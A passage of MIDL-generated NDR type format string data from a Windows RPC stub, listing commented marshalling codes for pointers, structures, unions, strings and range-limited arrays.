*/\t\n\t\t\t0x11, 0x0,\t/* FC_RP */\n/* 1520 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (1522) */\n/* 1522 */\t\n\t\t\t0x1b,\t\t/* FC_CARRAY */\n\t\t\t0x0,\t\t/* 0 */\n/* 1524 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 1526 */\t0x29,\t\t/* Corr desc:  parameter, FC_ULONG */\n\t\t\t0x0,\t\t/*  */\n/* 1528 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 1530 */\tNdrFcShort( 0x0 ),\t/* Corr flags:  */\n/* 1532 */\t0x0 , \n\t\t\t0x0,\t\t/* 0 */\n/* 1534 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1538 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1542 */\t0x2,\t\t/* FC_CHAR */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 1544 */\t\n\t\t\t0x11, 0x0,\t/* FC_RP */\n/* 1546 */\tNdrFcShort( 0xfa00 ),\t/* Offset= -1536 (10) */\n/* 1548 */\t\n\t\t\t0x11, 0x4,\t/* FC_RP [alloced_on_stack] */\n/* 1550 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (1552) */\n/* 1552 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0xe1,\t\t/* Ctxt flags:  via ptr, in, out, can't be null */\n/* 1554 */\t0x0,\t\t/* 0 */\n\t\t\t0x0,\t\t/* 0 */\n/* 1556 */\t\n\t\t\t0x11, 0x0,\t/* FC_RP */\n/* 1558 */\tNdrFcShort( 0x80 ),\t/* Offset= 128 (1686) */\n/* 1560 */\t\n\t\t\t0x2b,\t\t/* FC_NON_ENCAPSULATED_UNION */\n\t\t\t0x9,\t\t/* FC_ULONG */\n/* 1562 */\t0x9,\t\t/* Corr desc: FC_ULONG */\n\t\t\t0x0,\t\t/*  */\n/* 1564 */\tNdrFcShort( 0xfff8 ),\t/* -8 */\n/* 1566 */\tNdrFcShort( 0x1 ),\t/* Corr flags:  early, */\n/* 1568 */\t0x0 , \n\t\t\t0x0,\t\t/* 0 */\n/* 1570 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1574 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1578 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (1580) */\n/* 1580 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 1582 */\tNdrFcShort( 0x2 ),\t/* 2 */\n/* 1584 */\tNdrFcLong( 0x1 ),\t/* 1 */\n/* 1588 */\tNdrFcShort( 0xa ),\t/* Offset= 10 (1598) */\n/* 1590 */\tNdrFcLong( 0x2 ),\t/* 2 */\n/* 1594 */\tNdrFcShort( 0x2a ),\t/* Offset= 42 (1636) */\n/* 1596 */\tNdrFcShort( 0xffff ),\t/* Offset= -1 (1595) */\n/* 1598 */\t\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 1600 */\tNdrFcShort( 0xc ),\t/* Offset= 12 (1612) */\n/* 1602 */\t\n\t\t\t0x15,\t\t/* FC_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 1604 */\tNdrFcShort( 0x10 ),\t/* 16 */\n/* 1606 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 1608 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 1610 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 1612 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 1614 */\tNdrFcShort( 0x28 ),\t/* 40 */\n/* 1616 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1618 */\tNdrFcShort( 0xe ),\t/* Offset= 14 (1632) */\n/* 1620 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 1622 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n/* 1624 */\t0x0,\t\t/* 0 */\n\t\t\tNdrFcShort( 0xfe23 ),\t/* Offset= -477 (1148) */\n\t\t\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n/* 1628 */\t0x0,\t\t/* 0 */\n\t\t\tNdrFcShort( 0xffe5 ),\t/* Offset= -27 (1602) */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 1632 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 1634 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 1636 */\t\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 1638 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (1640) */\n/* 1640 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 1642 */\tNdrFcShort( 0x58 ),\t/* 88 */\n/* 1644 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1646 */\tNdrFcShort( 0x18 ),\t/* Offset= 24 (1670) */\n/* 1648 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 1650 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n/* 1652 */\t0x0,\t\t/* 0 */\n\t\t\tNdrFcShort( 0xfe07 ),\t/* Offset= -505 (1148) */\n\t\t\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n/* 1656 */\t0x0,\t\t/* 0 */\n\t\t\tNdrFcShort( 0xffc9 ),\t/* Offset= -55 (1602) */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 1660 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 1662 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 1664 */\t0x40,\t\t/* FC_STRUCTPAD4 */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 1666 */\t0x6,\t\t/* FC_SHORT */\n\t\t\t0x42,\t\t/* FC_STRUCTPAD6 */\n/* 1668 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 1670 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 1672 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 1674 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 1676 */\t\n\t\t\t0x22,\t\t/* FC_C_CSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 1678 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 1680 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 1682 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 1684 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 1686 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 1688 */\tNdrFcShort( 0x10 ),\t/* 16 */\n/* 1690 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1692 */\tNdrFcShort( 0x0 ),\t/* Offset= 0 (1692) */\n/* 1694 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 1696 */\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n\t\t\t0x0,\t\t/* 0 */\n/* 1698 */\tNdrFcShort( 0xff76 ),\t/* Offset= -138 (1560) */\n/* 1700 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 1702 */\t\n\t\t\t0x11, 0x4,\t/* FC_RP [alloced_on_stack] */\n/* 1704 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (1706) */\n/* 1706 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0xa0,\t\t/* Ctxt flags:  via ptr, out, */\n/* 1708 */\t0x1,\t\t/* 1 */\n\t\t\t0x1,\t\t/* 1 */\n/* 1710 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0x41,\t\t/* Ctxt flags:  in, can't be null */\n/* 1712 */\t0x1,\t\t/* 1 */\n\t\t\t0x0,\t\t/* 0 */\n/* 1714 */\t\n\t\t\t0x11, 0x4,\t/* FC_RP [alloced_on_stack] */\n/* 1716 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (1718) */\n/* 1718 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0xe1,\t\t/* Ctxt flags:  via ptr, in, out, can't be null */\n/* 1720 */\t0x1,\t\t/* 1 */\n\t\t\t0x0,\t\t/* 0 */\n/* 1722 */\t\n\t\t\t0x11, 0x0,\t/* FC_RP */\n/* 1724 */\tNdrFcShort( 0x56 ),\t/* Offset= 86 (1810) */\n/* 1726 */\t\n\t\t\t0x2b,\t\t/* FC_NON_ENCAPSULATED_UNION */\n\t\t\t0x9,\t\t/* FC_ULONG */\n/* 1728 */\t0x9,\t\t/* Corr desc: FC_ULONG */\n\t\t\t0x0,\t\t/*  */\n/* 1730 */\tNdrFcShort( 0xfff8 ),\t/* -8 */\n/* 1732 */\tNdrFcShort( 0x1 ),\t/* Corr flags:  early, */\n/* 1734 */\t0x0 , \n\t\t\t0x0,\t\t/* 0 */\n/* 1736 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1740 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1744 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (1746) */\n/* 1746 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 1748 */\tNdrFcShort( 0x2 ),\t/* 2 */\n/* 1750 */\tNdrFcLong( 0x1 ),\t/* 1 */\n/* 1754 */\tNdrFcShort( 0xa ),\t/* Offset= 10 (1764) */\n/* 1756 */\tNdrFcLong( 0x2 ),\t/* 2 */\n/* 1760 */\tNdrFcShort( 0x16 ),\t/* Offset= 22 (1782) */\n/* 1762 */\tNdrFcShort( 0xffff ),\t/* Offset= -1 (1761) */\n/* 1764 */\t\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 1766 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (1768) */\n/* 1768 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 1770 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 1772 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1774 */\tNdrFcShort( 0x4 ),\t/* Offset= 4 (1778) */\n/* 1776 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 1778 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 1780 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 1782 */\t\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 1784 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (1786) */\n/* 1786 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 1788 */\tNdrFcShort( 0x18 ),\t/* 24 */\n/* 1790 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1792 */\tNdrFcShort( 0x6 ),\t/* Offset= 6 (1798) */\n/* 1794 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 1796 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 1798 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 1800 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 1802 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 1804 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 1806 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 1808 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 1810 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 1812 */\tNdrFcShort( 0x10 ),\t/* 16 */\n/* 1814 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1816 */\tNdrFcShort( 0x0 ),\t/* Offset= 0 (1816) */\n/* 1818 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 1820 */\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n\t\t\t0x0,\t\t/* 0 */\n/* 1822 */\tNdrFcShort( 0xffa0 ),\t/* Offset= -96 (1726) */\n/* 1824 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 1826 */\t0xb7,\t\t/* FC_RANGE */\n\t\t\t0x8,\t\t/* 8 */\n/* 1828 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1832 */\tNdrFcLong( 0x200 ),\t/* 512 */\n/* 1836 */\t\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 1838 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (1840) */\n/* 1840 */\t\n\t\t\t0x1b,\t\t/* FC_CARRAY */\n\t\t\t0x0,\t\t/* 0 */\n/* 1842 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 1844 */\t0x29,\t\t/* Corr desc:  parameter, FC_ULONG */\n\t\t\t0x0,\t\t/*  */\n/* 1846 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 1848 */\tNdrFcShort( 0x11 ),\t/* Corr flags:  early, */\n/* 1850 */\t0x1 , /* correlation range */\n\t\t\t0x0,\t\t/* 0 */\n/* 1852 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1856 */\tNdrFcLong( 0x200 ),\t/* 512 */\n/* 1860 */\t0x2,\t\t/* FC_CHAR */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 1862 */\t0xb7,\t\t/* FC_RANGE */\n\t\t\t0x8,\t\t/* 8 */\n/* 1864 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1868 */\tNdrFcLong( 0x200 ),\t/* 512 */\n/* 1872 */\t\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 1874 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (1876) */\n/* 1876 */\t\n\t\t\t0x1b,\t\t/* FC_CARRAY */\n\t\t\t0x0,\t\t/* 0 */\n/* 1878 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 1880 */\t0x29,\t\t/* Corr desc:  parameter, FC_ULONG */\n\t\t\t0x0,\t\t/*  */\n/* 1882 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 1884 */\tNdrFcShort( 0x11 ),\t/* Corr flags:  early, */\n/* 1886 */\t0x1 , /* correlation range */\n\t\t\t0x0,\t\t/* 0 */\n/* 1888 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1892 */\tNdrFcLong( 0x200 ),\t/* 512 */\n/* 1896 */\t0x2,\t\t/* FC_CHAR */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 1898 */\t\n\t\t\t0x11, 0x0,\t/* FC_RP */\n/* 1900 */\tNdrFcShort( 0x94 ),\t/* Offset= 148 (2048) */\n/* 1902 */\t\n\t\t\t0x2b,\t\t/* FC_NON_ENCAPSULATED_UNION */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 1904 */\t0x0,\t\t/* Corr desc:  field,  */\n\t\t\t0x5d,\t\t/* FC_EXPR */\n/* 1906 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1908 */\tNdrFcShort( 0x1 ),\t/* Corr flags:  early, */\n/* 1910 */\t0x0 , \n\t\t\t0x0,\t\t/* 0 */\n/* 1912 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1916 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1920 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (1922) */\n/* 1922 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 1924 */\tNdrFcShort( 0x4 ),\t/* 4 */\n/* 1926 */\tNdrFcLong( 0x1 ),\t/* 1 */\n/* 1930 */\tNdrFcShort( 0x16 ),\t/* Offset= 22 (1952) */\n/* 1932 */\tNdrFcLong( 0x2 ),\t/* 2 */\n/* 1936 */\tNdrFcShort( 0x22 ),\t/* Offset= 34 (1970) */\n/* 1938 */\tNdrFcLong( 0x3 ),\t/* 3 */\n/* 1942 */\tNdrFcShort( 0x3a ),\t/* Offset= 58 (2000) */\n/* 1944 */\tNdrFcLong( 0xffffff ),\t/* 16777215 */\n/* 1948 */\tNdrFcShort( 0x4a ),\t/* Offset= 74 (2022) */\n/* 1950 */\tNdrFcShort( 0xffff ),\t/* Offset= -1 (1949) */\n/* 1952 */\t\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 1954 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (1956) */\n/* 1956 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 1958 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 1960 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1962 */\tNdrFcShort( 0x4 ),\t/* Offset= 4 (1966) */\n/* 1964 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 1966 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 1968 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 1970 */\t\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 1972 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (1974) */\n/* 1974 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 1976 */\tNdrFcShort( 0x20 ),\t/* 32 */\n/* 1978 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1980 */\tNdrFcShort( 0x8 ),\t/* Offset= 8 (1988) */\n/* 1982 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 1984 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 1986 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 1988 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 1990 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 1992 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 1994 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 1996 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 1998 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 2000 */\t\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 2002 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (2004) */\n/* 2004 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 2006 */\tNdrFcShort( 0x18 ),\t/* 24 */\n/* 2008 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2010 */\tNdrFcShort( 0x8 ),\t/* Offset= 8 (2018) */\n/* 2012 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 2014 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 2016 */\t0x40,\t\t/* FC_STRUCTPAD4 */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 2018 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 2020 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 2022 */\t\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 2024 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (2026) */\n/* 2026 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 2028 */\tNdrFcShort( 0x18 ),\t/* 24 */\n/* 2030 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2032 */\tNdrFcShort( 0x8 ),\t/* Offset= 8 (2040) */\n/* 2034 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 2036 */\t0x40,\t\t/* FC_STRUCTPAD4 */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 2038 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 2040 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 2042 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 2044 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 2046 */\t0x2,\t\t/* FC_CHAR */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 2048 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 2050 */\tNdrFcShort( 0x10 ),\t/* 16 */\n/* 2052 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2054 */\tNdrFcShort( 0x0 ),\t/* Offset= 0 (2054) */\n/* 2056 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 2058 */\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n\t\t\t0x0,\t\t/* 0 */\n/* 2060 */\tNdrFcShort( 0xff62 ),\t/* Offset= -158 (1902) */\n/* 2062 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 2064 */\t\n\t\t\t0x11, 0x0,\t/* FC_RP */\n/* 2066 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (2068) */\n/* 2068 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 2070 */\tNdrFcShort( 0x10 ),\t/* 16 */\n/* 2072 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2074 */\tNdrFcShort( 0x6 ),\t/* Offset= 6 (2080) */\n/* 2076 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 2078 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 2080 */\t\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 2082 */\tNdrFcShort( 0xf80e ),\t/* Offset= -2034 (48) */\n/* 2084 */\t0xb7,\t\t/* FC_RANGE */\n\t\t\t0x8,\t\t/* 8 */\n/* 2086 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 2090 */\tNdrFcLong( 0x200 ),\t/* 512 */\n/* 2094 */\t\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 2096 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (2098) */\n/* 2098 */\t\n\t\t\t0x1b,\t\t/* FC_CARRAY */\n\t\t\t0x0,\t\t/* 0 */\n/* 2100 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 2102 */\t0x29,\t\t/* Corr desc:  parameter, FC_ULONG */\n\t\t\t0x0,\t\t/*  */\n/* 2104 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 2106 */\tNdrFcShort( 0x11 ),\t/* Corr flags:  early, */\n/* 2108 */\t0x1 , /* correlation range */\n\t\t\t0x0,\t\t/* 0 */\n/* 2110 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 2114 */\tNdrFcLong( 0x200 ),\t/* 512 */\n/* 2118 */\t0x2,\t\t/* FC_CHAR */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 2120 */\t\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 2122 */\tNdrFcShort( 0x56 ),\t/* Offset= 86 (2208) */\n/* 2124 */\t\n\t\t\t0x1b,\t\t/* FC_CARRAY */\n\t\t\t0x1,\t\t/* 1 */\n/* 2126 */\tNdrFcShort( 0x2 ),\t/* 2 */\n/* 2128 */\t0x19,\t\t/* Corr desc:  field pointer, FC_ULONG */\n\t\t\t0x0,\t\t/*  */\n/* 2130 */\tNdrFcShort( 0xc ),\t/* 12 */\n/* 2132 */\tNdrFcShort( 0x1 ),\t/* Corr flags:  early, */\n/* 2134 */\t0x0 , \n\t\t\t0x0,\t\t/* 0 */\n/* 2136 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 2140 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 2144 */\t0x6,\t\t/* FC_SHORT */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 2146 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 2148 */\tNdrFcShort( 0x18 ),\t/* 24 */\n/* 2150 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2152 */\tNdrFcShort( 0xa ),\t/* Offset= 10 (2162) */\n/* 2154 */\t0x6,\t\t/* FC_SHORT */\n\t\t\t0x6,\t\t/* FC_SHORT */\n/* 2156 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 2158 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 2160 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 2162 */\t\n\t\t\t0x12, 0x20,\t/* FC_UP [maybenull_sizeis] */\n/* 2164 */\tNdrFcShort( 0xffd8 ),\t/* Offset= -40 (2124) */\n/* 2166 */\t\n\t\t\t0x21,\t\t/* FC_BOGUS_ARRAY */\n\t\t\t0x3,\t\t/* 3 */\n/* 2168 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2170 */\t0x19,\t\t/* Corr desc:  field pointer, FC_ULONG */\n\t\t\t0x0,\t\t/*  */\n/* 2172 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 2174 */\tNdrFcShort( 0x1 ),\t/* Corr flags:  early, */\n/* 2176 */\t0x0 , \n\t\t\t0x0,\t\t/* 0 */\n/* 2178 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 2182 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 2186 */\tNdrFcLong( 0xffffffff ),\t/* -1 */\n/* 2190 */\tNdrFcShort( 0x0 ),\t/* Corr flags:  */\n/* 2192 */\t0x0 , \n\t\t\t0x0,\t\t/* 0 */\n/* 2194 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 2198 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 2202 */\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n\t\t\t0x0,\t\t/* 0 */\n/* 2204 */\tNdrFcShort( 0xffc6 ),\t/* Offset= -58 (2146) */\n/* 2206 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 2208 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 2210 */\tNdrFcShort( 0x18 ),\t/* 24 */\n/* 2212 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2214 */\tNdrFcShort( 0x8 ),\t/* Offset= 8 (2222) */\n/* 2216 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 2218 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 2220 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 2222 */\t\n\t\t\t0x12, 0x20,\t/* FC_UP [maybenull_sizeis] */\n/* 2224 */\tNdrFcShort( 0xffc6 ),\t/* Offset= -58 (2166) */\n/* 2226 */\t\n\t\t\t0x11, 0x0,\t/* FC_RP */\n/* 2228 */\tNdrFcShort( 0x7c ),\t/* Offset= 124 (2352) */\n/* 2230 */\t\n\t\t\t0x2b,\t\t/* FC_NON_ENCAPSULATED_UNION */\n\t\t\t0x9,\t\t/* FC_ULONG */\n/* 2232 */\t0x9,\t\t/* Corr desc: FC_ULONG 